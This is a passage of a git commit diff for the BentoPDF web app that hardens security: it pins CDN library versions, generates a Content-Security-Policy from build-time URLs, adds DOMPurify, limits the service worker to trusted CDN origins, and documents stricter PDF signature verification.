feat: enhance sanitization
This commit is contained in:
@@ -9,8 +9,8 @@ VITE_CORS_PROXY_SECRET=
|
|||||||
# Pre-configured defaults enable advanced PDF features out of the box.
|
# Pre-configured defaults enable advanced PDF features out of the box.
|
||||||
# For air-gapped / offline deployments, point these to your internal server (e.g., /wasm/pymupdf/).
|
# For air-gapped / offline deployments, point these to your internal server (e.g., /wasm/pymupdf/).
|
||||||
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
||||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
|
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
|
||||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
|
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
|
||||||
|
|
||||||
# OCR assets (optional)
|
# OCR assets (optional)
|
||||||
# Set all three together for self-hosted or air-gapped OCR.
|
# Set all three together for self-hosted or air-gapped OCR.
|
||||||
|
|||||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -33,6 +33,9 @@ coverage/
|
|||||||
# Generated sitemap
|
# Generated sitemap
|
||||||
public/sitemap.xml
|
public/sitemap.xml
|
||||||
|
|
||||||
|
# Generated by scripts/generate-security-headers.mjs at build time
|
||||||
|
security-headers.conf
|
||||||
|
|
||||||
#backup
|
#backup
|
||||||
.seo-backup
|
.seo-backup
|
||||||
libreoffice-wasm-package
|
libreoffice-wasm-package
|
||||||
|
|||||||
@@ -89,6 +89,7 @@ USER nginx
|
|||||||
|
|
||||||
COPY --chown=nginx:nginx --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
|
COPY --chown=nginx:nginx --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
|
||||||
COPY --chown=nginx:nginx nginx.conf /etc/nginx/nginx.conf
|
COPY --chown=nginx:nginx nginx.conf /etc/nginx/nginx.conf
|
||||||
|
COPY --chown=nginx:nginx --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
|
||||||
COPY --chown=nginx:nginx --chmod=755 nginx-ipv6.sh /docker-entrypoint.d/99-disable-ipv6.sh
|
COPY --chown=nginx:nginx --chmod=755 nginx-ipv6.sh /docker-entrypoint.d/99-disable-ipv6.sh
|
||||||
RUN mkdir -p /etc/nginx/tmp && chown -R nginx:nginx /etc/nginx/tmp
|
RUN mkdir -p /etc/nginx/tmp && chown -R nginx:nginx /etc/nginx/tmp
|
||||||
|
|
||||||
|
|||||||
@@ -80,6 +80,7 @@ RUN apk upgrade --no-cache && apk add --no-cache su-exec
|
|||||||
|
|
||||||
COPY --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
|
COPY --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
|
||||||
COPY nginx.conf /etc/nginx/nginx.conf
|
COPY nginx.conf /etc/nginx/nginx.conf
|
||||||
|
COPY --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
|
||||||
COPY --chmod=755 entrypoint.sh /entrypoint.sh
|
COPY --chmod=755 entrypoint.sh /entrypoint.sh
|
||||||
|
|
||||||
RUN mkdir -p /etc/nginx/tmp \
|
RUN mkdir -p /etc/nginx/tmp \
|
||||||
|
|||||||
@@ -470,8 +470,8 @@ The default URLs are set in `.env.production`:
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
||||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
|
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
|
||||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
|
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
|
||||||
VITE_TESSERACT_WORKER_URL=
|
VITE_TESSERACT_WORKER_URL=
|
||||||
VITE_TESSERACT_CORE_URL=
|
VITE_TESSERACT_CORE_URL=
|
||||||
VITE_TESSERACT_LANG_URL=
|
VITE_TESSERACT_LANG_URL=
|
||||||
@@ -1100,11 +1100,15 @@ For detailed release instructions, see [RELEASE.md](RELEASE.md).
|
|||||||
```
|
```
|
||||||
|
|
||||||
3. **Run the Development Server**:
|
3. **Run the Development Server**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
npm run dev
|
npm run dev
|
||||||
```
|
```
|
||||||
|
|
||||||
The application will be available at `http://localhost:5173`.
|
The application will be available at `http://localhost:5173`.
|
||||||
|
|
||||||
|
> The dev server binds to `localhost` only by default. To expose it on your LAN (e.g. for mobile device testing), set `VITE_DEV_HOST=0.0.0.0 npm run dev`. The built-in CORS proxy at `/cors-proxy?url=` restricts targets to a known host allowlist; to permit additional hosts in development, set `VITE_DEV_CORS_PROXY_EXTRA_HOSTS="host1.example.com,host2.example.com"`.
|
||||||
|
|
||||||
#### Option 2: Build and Run with Docker Compose
|
#### Option 2: Build and Run with Docker Compose
|
||||||
|
|
||||||
1. **Clone the Repository**:
|
1. **Clone the Repository**:
|
||||||
|
|||||||
@@ -95,8 +95,8 @@ docker run -d -p 3000:8080 bentopdf:custom
|
|||||||
| `SIMPLE_MODE` | Build without LibreOffice tools | `false` |
|
| `SIMPLE_MODE` | Build without LibreOffice tools | `false` |
|
||||||
| `BASE_URL` | Deploy to subdirectory | `/` |
|
| `BASE_URL` | Deploy to subdirectory | `/` |
|
||||||
| `VITE_WASM_PYMUPDF_URL` | PyMuPDF WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/` |
|
| `VITE_WASM_PYMUPDF_URL` | PyMuPDF WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/` |
|
||||||
| `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/` |
|
| `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/` |
|
||||||
| `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf/dist/` |
|
| `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/` |
|
||||||
| `VITE_TESSERACT_WORKER_URL` | OCR worker script URL | _(empty; use Tesseract.js default CDN)_ |
|
| `VITE_TESSERACT_WORKER_URL` | OCR worker script URL | _(empty; use Tesseract.js default CDN)_ |
|
||||||
| `VITE_TESSERACT_CORE_URL` | OCR core runtime directory | _(empty; use Tesseract.js default CDN)_ |
|
| `VITE_TESSERACT_CORE_URL` | OCR core runtime directory | _(empty; use Tesseract.js default CDN)_ |
|
||||||
| `VITE_TESSERACT_LANG_URL` | OCR traineddata directory | _(empty; use Tesseract.js default CDN)_ |
|
| `VITE_TESSERACT_LANG_URL` | OCR traineddata directory | _(empty; use Tesseract.js default CDN)_ |
|
||||||
@@ -110,6 +110,16 @@ docker run -d -p 3000:8080 bentopdf:custom
|
|||||||
|
|
||||||
WASM module URLs are pre-configured with CDN defaults — all advanced features work out of the box. Override these for air-gapped or self-hosted deployments.
|
WASM module URLs are pre-configured with CDN defaults — all advanced features work out of the box. Override these for air-gapped or self-hosted deployments.
|
||||||
|
|
||||||
|
### Content-Security-Policy
|
||||||
|
|
||||||
|
The nginx image ships with an enforcing `Content-Security-Policy` header. The CSP's `script-src`, `connect-src`, and `font-src` directives are **generated at build time** from the `VITE_*` URL variables above — whatever hosts you pass via `--build-arg` are automatically added to the policy.
|
||||||
|
|
||||||
|
As a result:
|
||||||
|
|
||||||
|
- If you override `VITE_CORS_PROXY_URL` or `VITE_WASM_*_URL` at build time, the CSP permits those origins automatically — no extra config needed.
|
||||||
|
- If you configure custom WASM URLs at _runtime_ via the in-app Advanced Settings page, those origins are **not** in the CSP and the browser will block fetches to them. Runtime configuration is intended for experimentation; for permanent custom URLs set the matching `VITE_*` build arg.
|
||||||
|
- Air-gapped deployments that override all three `VITE_WASM_*_URL` values also get the public `cdn.jsdelivr.net` removed from CSP (each default is replaced, not appended). Similarly, setting `VITE_CORS_PROXY_URL` replaces the public `bentopdf-cors-proxy.bentopdf.workers.dev` default.
|
||||||
|
|
||||||
For OCR, leave the `VITE_TESSERACT_*` variables empty to use the default online assets, or set all three together for self-hosted/offline OCR. Partial OCR overrides are rejected because the worker, core runtime, and traineddata directory must match. For fully offline searchable PDF output, also set `VITE_OCR_FONT_BASE_URL` so the OCR text-layer fonts are loaded from your internal server instead of the public Noto font URLs.
|
For OCR, leave the `VITE_TESSERACT_*` variables empty to use the default online assets, or set all three together for self-hosted/offline OCR. Partial OCR overrides are rejected because the worker, core runtime, and traineddata directory must match. For fully offline searchable PDF output, also set `VITE_OCR_FONT_BASE_URL` so the OCR text-layer fonts are loaded from your internal server instead of the public Noto font URLs.
|
||||||
|
|
||||||
`VITE_DEFAULT_LANGUAGE` sets the UI language for first-time visitors. Supported values: `en`, `ar`, `be`, `fr`, `de`, `es`, `zh`, `zh-TW`, `vi`, `tr`, `id`, `it`, `pt`, `nl`, `da`. Users can still switch languages — this only changes the default.
|
`VITE_DEFAULT_LANGUAGE` sets the UI language for first-time visitors. Supported values: `en`, `ar`, `be`, `fr`, `de`, `es`, `zh`, `zh-TW`, `vi`, `tr`, `id`, `it`, `pt`, `nl`, `da`. Users can still switch languages — this only changes the default.
|
||||||
|
|||||||
@@ -203,8 +203,8 @@ These are set in `.env.production` and baked into the build:
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
|
||||||
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
|
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
|
||||||
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
|
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
|
||||||
VITE_TESSERACT_WORKER_URL=
|
VITE_TESSERACT_WORKER_URL=
|
||||||
VITE_TESSERACT_CORE_URL=
|
VITE_TESSERACT_CORE_URL=
|
||||||
VITE_TESSERACT_LANG_URL=
|
VITE_TESSERACT_LANG_URL=
|
||||||
|
|||||||
@@ -26,6 +26,31 @@ The tool extracts PKCS#7 signature objects from the PDF, decodes the ASN.1 struc
|
|||||||
- **Self-signed detection**: Is the certificate its own issuer?
|
- **Self-signed detection**: Is the certificate its own issuer?
|
||||||
- **Trust chain**: When a trusted certificate is provided, does the signer's certificate chain back to it?
|
- **Trust chain**: When a trusted certificate is provided, does the signer's certificate chain back to it?
|
||||||
|
|
||||||
|
### Cryptographic Verification
|
||||||
|
|
||||||
|
- The tool reconstructs the bytes covered by the signature's `/ByteRange`, hashes them with the algorithm the signer declared, and compares the result against the `messageDigest` attribute inside the signature.
|
||||||
|
- It then re-serializes the signed attributes as a DER SET and verifies the signature against the signer certificate's public key.
|
||||||
|
- **A signature is reported as valid only when all of these pass.** If the PDF bytes were modified after signing, or the embedded signature does not match the signer's key, the status shows "Invalid — Cryptographic Verification Failed" with the specific reason.
|
||||||
|
|
||||||
|
#### Supported Signature Algorithms
|
||||||
|
|
||||||
|
| Algorithm | Verification path |
|
||||||
|
| ----------------------- | -------------------------------------------------------------------------------------- |
|
||||||
|
| RSA (PKCS#1 v1.5) | node-forge `publicKey.verify`, with Web Crypto fallback |
|
||||||
|
| RSA-PSS (RSASSA-PSS) | Web Crypto `verify({name: 'RSA-PSS', saltLength})` |
|
||||||
|
| ECDSA P-256/P-384/P-521 | Web Crypto `verify({name: 'ECDSA', hash})` after DER → IEEE P1363 signature conversion |
|
||||||
|
|
||||||
|
If a signature uses an algorithm outside this list (for example Ed25519, SM2, or RSA with an unusual digest OID), the card shows **"Unverified — Unsupported Signature Algorithm"** in yellow, along with the specific OID or reason. This is a deliberate three-state distinction:
|
||||||
|
|
||||||
|
- **Valid** — signature cryptographically verified against the signer's public key.
|
||||||
|
- **Invalid** — verification ran and produced a negative result (bytes changed, key mismatch).
|
||||||
|
- **Unverified** — the tool could not run verification for this algorithm. The certificate metadata is still shown, but you should treat the signature as "unknown" and verify it with Adobe Acrobat or `openssl cms -verify`.
|
||||||
|
|
||||||
|
### Insecure Digest Algorithms
|
||||||
|
|
||||||
|
- Signatures using **MD5 or SHA-1** are rejected as invalid and flagged with "Insecure Digest" status. Both algorithms have published collision attacks, so a signature over a SHA-1 or MD5 hash offers no integrity guarantee.
|
||||||
|
- SHA-224, SHA-256, SHA-384, and SHA-512 are all accepted.
|
||||||
|
|
||||||
### Document Coverage
|
### Document Coverage
|
||||||
|
|
||||||
- **Full coverage**: The signature covers the entire PDF file, meaning no bytes were added or changed after signing.
|
- **Full coverage**: The signature covers the entire PDF file, meaning no bytes were added or changed after signing.
|
||||||
|
|||||||
40
nginx.conf
40
nginx.conf
@@ -27,27 +27,20 @@ http {
|
|||||||
index index.html;
|
index index.html;
|
||||||
absolute_redirect off;
|
absolute_redirect off;
|
||||||
|
|
||||||
|
include /etc/nginx/security-headers.conf;
|
||||||
|
|
||||||
location ~ ^/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
|
location ~ ^/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
|
||||||
try_files $uri $uri/ $uri.html /$1/index.html /index.html;
|
try_files $uri $uri/ $uri.html /$1/index.html /index.html;
|
||||||
expires 5m;
|
expires 5m;
|
||||||
add_header Cache-Control "public, must-revalidate";
|
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~ ^/(.+?)/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
|
location ~ ^/(.+?)/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
|
||||||
try_files $uri $uri/ $uri.html /$1/$2/index.html /$1/index.html /index.html;
|
try_files $uri $uri/ $uri.html /$1/$2/index.html /$1/index.html /index.html;
|
||||||
expires 5m;
|
expires 5m;
|
||||||
add_header Cache-Control "public, must-revalidate";
|
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* \.html$ {
|
location ~* \.html$ {
|
||||||
expires 1h;
|
expires 1h;
|
||||||
add_header Cache-Control "public, must-revalidate";
|
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* /libreoffice-wasm/soffice\.wasm\.gz$ {
|
location ~* /libreoffice-wasm/soffice\.wasm\.gz$ {
|
||||||
@@ -55,9 +48,8 @@ http {
|
|||||||
types {} default_type application/wasm;
|
types {} default_type application/wasm;
|
||||||
add_header Content-Encoding gzip;
|
add_header Content-Encoding gzip;
|
||||||
add_header Vary "Accept-Encoding";
|
add_header Vary "Accept-Encoding";
|
||||||
add_header Cache-Control "public, immutable";
|
include /etc/nginx/security-headers.conf;
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
expires 1y;
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* /libreoffice-wasm/soffice\.data\.gz$ {
|
location ~* /libreoffice-wasm/soffice\.data\.gz$ {
|
||||||
@@ -65,38 +57,28 @@ http {
|
|||||||
types {} default_type application/octet-stream;
|
types {} default_type application/octet-stream;
|
||||||
add_header Content-Encoding gzip;
|
add_header Content-Encoding gzip;
|
||||||
add_header Vary "Accept-Encoding";
|
add_header Vary "Accept-Encoding";
|
||||||
add_header Cache-Control "public, immutable";
|
include /etc/nginx/security-headers.conf;
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
expires 1y;
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* \.(wasm|wasm\.gz|data|data\.gz)$ {
|
location ~* \.(wasm|wasm\.gz|data|data\.gz)$ {
|
||||||
expires 1y;
|
expires 1y;
|
||||||
add_header Cache-Control "public, immutable";
|
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* \.(js|mjs|css|woff|woff2|ttf|eot|otf)$ {
|
location ~* \.(js|mjs|css|woff|woff2|ttf|eot|otf)$ {
|
||||||
expires 1y;
|
expires 1y;
|
||||||
add_header Cache-Control "public, immutable";
|
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* \.(png|jpg|jpeg|gif|ico|svg|webp|avif|mp4|webm)$ {
|
location ~* \.(png|jpg|jpeg|gif|ico|svg|webp|avif|mp4|webm)$ {
|
||||||
expires 1y;
|
expires 1y;
|
||||||
add_header Cache-Control "public, immutable";
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* \.json$ {
|
location ~* \.json$ {
|
||||||
expires 1w;
|
expires 1w;
|
||||||
add_header Cache-Control "public, must-revalidate";
|
|
||||||
}
|
}
|
||||||
|
|
||||||
location ~* \.pdf$ {
|
location ~* \.pdf$ {
|
||||||
expires 1y;
|
expires 1y;
|
||||||
add_header Cache-Control "public, immutable";
|
|
||||||
}
|
}
|
||||||
|
|
||||||
error_page 404 /404.html;
|
error_page 404 /404.html;
|
||||||
@@ -104,16 +86,6 @@ http {
|
|||||||
location / {
|
location / {
|
||||||
try_files $uri $uri/ $uri.html =404;
|
try_files $uri $uri/ $uri.html =404;
|
||||||
expires 5m;
|
expires 5m;
|
||||||
add_header Cache-Control "public, must-revalidate";
|
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
|
||||||
add_header X-Content-Type-Options "nosniff" always;
|
|
||||||
add_header X-XSS-Protection "1; mode=block" always;
|
|
||||||
add_header Cross-Origin-Opener-Policy "same-origin" always;
|
|
||||||
add_header Cross-Origin-Embedder-Policy "require-corp" always;
|
|
||||||
add_header Cross-Origin-Resource-Policy "cross-origin" always;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
1515
package-lock.json
generated
1515
package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -6,7 +6,7 @@
|
|||||||
"type": "module",
|
"type": "module",
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "vite",
|
"dev": "vite",
|
||||||
"build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs",
|
"build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs && node scripts/generate-security-headers.mjs",
|
||||||
"build:with-docs": "npm run build && npm run docs:build && node scripts/include-docs-in-dist.js",
|
"build:with-docs": "npm run build && npm run docs:build && node scripts/include-docs-in-dist.js",
|
||||||
"build:gzip": "COMPRESSION_MODE=g npm run build",
|
"build:gzip": "COMPRESSION_MODE=g npm run build",
|
||||||
"build:brotli": "COMPRESSION_MODE=b npm run build",
|
"build:brotli": "COMPRESSION_MODE=b npm run build",
|
||||||
@@ -58,7 +58,7 @@
|
|||||||
"vite": "^7.3.2",
|
"vite": "^7.3.2",
|
||||||
"vite-plugin-compression": "^0.5.1",
|
"vite-plugin-compression": "^0.5.1",
|
||||||
"vite-plugin-handlebars": "^2.0.0",
|
"vite-plugin-handlebars": "^2.0.0",
|
||||||
"vite-plugin-node-polyfills": "^0.25.0",
|
"vite-plugin-node-polyfills": "^0.26.0",
|
||||||
"vitepress": "^1.6.4",
|
"vitepress": "^1.6.4",
|
||||||
"vitest": "^4.0.18",
|
"vitest": "^4.0.18",
|
||||||
"vue": "^3.5.29"
|
"vue": "^3.5.29"
|
||||||
@@ -86,6 +86,7 @@
|
|||||||
"bwip-js": "^4.8.0",
|
"bwip-js": "^4.8.0",
|
||||||
"cropperjs": "^1.6.2",
|
"cropperjs": "^1.6.2",
|
||||||
"diff": "^8.0.3",
|
"diff": "^8.0.3",
|
||||||
|
"dompurify": "^3.4.0",
|
||||||
"embedpdf-snippet": "file:vendor/embedpdf/embedpdf-snippet-2.9.1.tgz",
|
"embedpdf-snippet": "file:vendor/embedpdf/embedpdf-snippet-2.9.1.tgz",
|
||||||
"heic2any": "^0.0.4",
|
"heic2any": "^0.0.4",
|
||||||
"highlight.js": "^11.11.1",
|
"highlight.js": "^11.11.1",
|
||||||
@@ -149,6 +150,8 @@
|
|||||||
"flatted": "^3.4.2",
|
"flatted": "^3.4.2",
|
||||||
"react": "^18.3.1",
|
"react": "^18.3.1",
|
||||||
"react-dom": "^18.3.1",
|
"react-dom": "^18.3.1",
|
||||||
"lodash-es": "^4.18.1"
|
"lodash-es": "^4.18.1",
|
||||||
|
"follow-redirects": "^1.15.11",
|
||||||
|
"esbuild": "^0.25.0"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
49
public/sw.js
49
public/sw.js
@@ -5,9 +5,11 @@
|
|||||||
* Version: 1.1.0
|
* Version: 1.1.0
|
||||||
*/
|
*/
|
||||||
|
|
||||||
const CACHE_VERSION = 'bentopdf-v10';
|
const CACHE_VERSION = 'bentopdf-v11';
|
||||||
const CACHE_NAME = `${CACHE_VERSION}-static`;
|
const CACHE_NAME = `${CACHE_VERSION}-static`;
|
||||||
|
|
||||||
|
const trustedCdnOrigins = new Set(['https://cdn.jsdelivr.net']);
|
||||||
|
|
||||||
const getBasePath = () => {
|
const getBasePath = () => {
|
||||||
const scope = self.registration?.scope || self.location.href;
|
const scope = self.registration?.scope || self.location.href;
|
||||||
const url = new URL(scope);
|
const url = new URL(scope);
|
||||||
@@ -67,7 +69,7 @@ self.addEventListener('activate', (event) => {
|
|||||||
self.addEventListener('fetch', (event) => {
|
self.addEventListener('fetch', (event) => {
|
||||||
const url = new URL(event.request.url);
|
const url = new URL(event.request.url);
|
||||||
|
|
||||||
const isCDN = url.hostname === 'cdn.jsdelivr.net';
|
const isCDN = trustedCdnOrigins.has(url.origin);
|
||||||
const isLocal = url.origin === location.origin;
|
const isLocal = url.origin === location.origin;
|
||||||
|
|
||||||
if (!isLocal && !isCDN) {
|
if (!isLocal && !isCDN) {
|
||||||
@@ -220,11 +222,9 @@ async function removeDuplicateCache(cache, fileName, isCDN) {
|
|||||||
for (const req of requests) {
|
for (const req of requests) {
|
||||||
const reqUrl = new URL(req.url);
|
const reqUrl = new URL(req.url);
|
||||||
if (reqUrl.pathname.endsWith(fileName)) {
|
if (reqUrl.pathname.endsWith(fileName)) {
|
||||||
// If caching CDN version, remove local version (and vice versa)
|
const reqIsCDN = trustedCdnOrigins.has(reqUrl.origin);
|
||||||
const reqIsCDN = reqUrl.hostname === 'cdn.jsdelivr.net';
|
|
||||||
if (reqIsCDN !== isCDN) {
|
if (reqIsCDN !== isCDN) {
|
||||||
await cache.delete(req);
|
await cache.delete(req);
|
||||||
// console.log(`[Dedup] Removed ${reqIsCDN ? 'CDN' : 'local'} version of:`, fileName);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -280,13 +280,16 @@ function getLocalPathForCDNUrl(pathname) {
|
|||||||
* Determine if a URL should be cached
|
* Determine if a URL should be cached
|
||||||
* Handles both local and CDN URLs
|
* Handles both local and CDN URLs
|
||||||
*/
|
*/
|
||||||
|
const CACHEABLE_EXTENSIONS =
|
||||||
|
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/;
|
||||||
|
|
||||||
function shouldCache(pathname, isCDN = false) {
|
function shouldCache(pathname, isCDN = false) {
|
||||||
if (isCDN) {
|
if (isCDN) {
|
||||||
return (
|
return (
|
||||||
pathname.includes('/@bentopdf/pymupdf-wasm') ||
|
pathname.includes('/@bentopdf/pymupdf-wasm') ||
|
||||||
pathname.includes('/@bentopdf/gs-wasm') ||
|
pathname.includes('/@bentopdf/gs-wasm') ||
|
||||||
pathname.includes('/@matbee/libreoffice-converter') ||
|
pathname.includes('/@matbee/libreoffice-converter') ||
|
||||||
pathname.match(/\.(wasm|whl|zip|json|js|gz)$/)
|
CACHEABLE_EXTENSIONS.test(pathname)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -294,9 +297,7 @@ function shouldCache(pathname, isCDN = false) {
|
|||||||
pathname.includes('/libreoffice-wasm/') ||
|
pathname.includes('/libreoffice-wasm/') ||
|
||||||
pathname.includes('/embedpdf/') ||
|
pathname.includes('/embedpdf/') ||
|
||||||
pathname.includes('/assets/') ||
|
pathname.includes('/assets/') ||
|
||||||
pathname.match(
|
CACHEABLE_EXTENSIONS.test(pathname)
|
||||||
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/
|
|
||||||
)
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -327,16 +328,42 @@ async function cacheInBatches(cache, urls, batchSize = 5) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
self.addEventListener('message', (event) => {
|
self.addEventListener('message', (event) => {
|
||||||
if (event.data && event.data.type === 'SKIP_WAITING') {
|
if (!event.data) return;
|
||||||
|
|
||||||
|
if (event.data.type === 'SKIP_WAITING') {
|
||||||
self.skipWaiting();
|
self.skipWaiting();
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (event.data && event.data.type === 'CLEAR_CACHE') {
|
if (event.data.type === 'CLEAR_CACHE') {
|
||||||
event.waitUntil(
|
event.waitUntil(
|
||||||
caches.delete(CACHE_NAME).then(() => {
|
caches.delete(CACHE_NAME).then(() => {
|
||||||
console.log('[ServiceWorker] Cache cleared');
|
console.log('[ServiceWorker] Cache cleared');
|
||||||
})
|
})
|
||||||
);
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
event.data.type === 'SET_TRUSTED_CDN_HOSTS' &&
|
||||||
|
Array.isArray(event.data.hosts)
|
||||||
|
) {
|
||||||
|
for (const origin of event.data.hosts) {
|
||||||
|
if (typeof origin !== 'string') continue;
|
||||||
|
try {
|
||||||
|
const parsed = new URL(origin);
|
||||||
|
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
trustedCdnOrigins.add(parsed.origin);
|
||||||
|
} catch (e) {
|
||||||
|
console.warn(
|
||||||
|
'[ServiceWorker] Ignoring malformed trusted-host origin:',
|
||||||
|
origin,
|
||||||
|
e
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
90
scripts/generate-security-headers.mjs
Normal file
90
scripts/generate-security-headers.mjs
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
#!/usr/bin/env node
|
||||||
|
import { writeFileSync } from 'node:fs';
|
||||||
|
import { join, dirname } from 'node:path';
|
||||||
|
import { fileURLToPath } from 'node:url';
|
||||||
|
|
||||||
|
const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..');
|
||||||
|
|
||||||
|
function originOf(urlStr) {
|
||||||
|
if (!urlStr) return null;
|
||||||
|
try {
|
||||||
|
const u = new URL(urlStr);
|
||||||
|
if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
|
||||||
|
return `${u.protocol}//${u.host}`;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function uniq(values) {
|
||||||
|
return Array.from(new Set(values.filter(Boolean)));
|
||||||
|
}
|
||||||
|
|
||||||
|
const DEFAULT_WASM_ORIGINS = {
|
||||||
|
pymupdf: 'https://cdn.jsdelivr.net',
|
||||||
|
gs: 'https://cdn.jsdelivr.net',
|
||||||
|
cpdf: 'https://cdn.jsdelivr.net',
|
||||||
|
};
|
||||||
|
const DEFAULT_CORS_PROXY_ORIGIN =
|
||||||
|
'https://bentopdf-cors-proxy.bentopdf.workers.dev';
|
||||||
|
|
||||||
|
const wasmOrigins = [
|
||||||
|
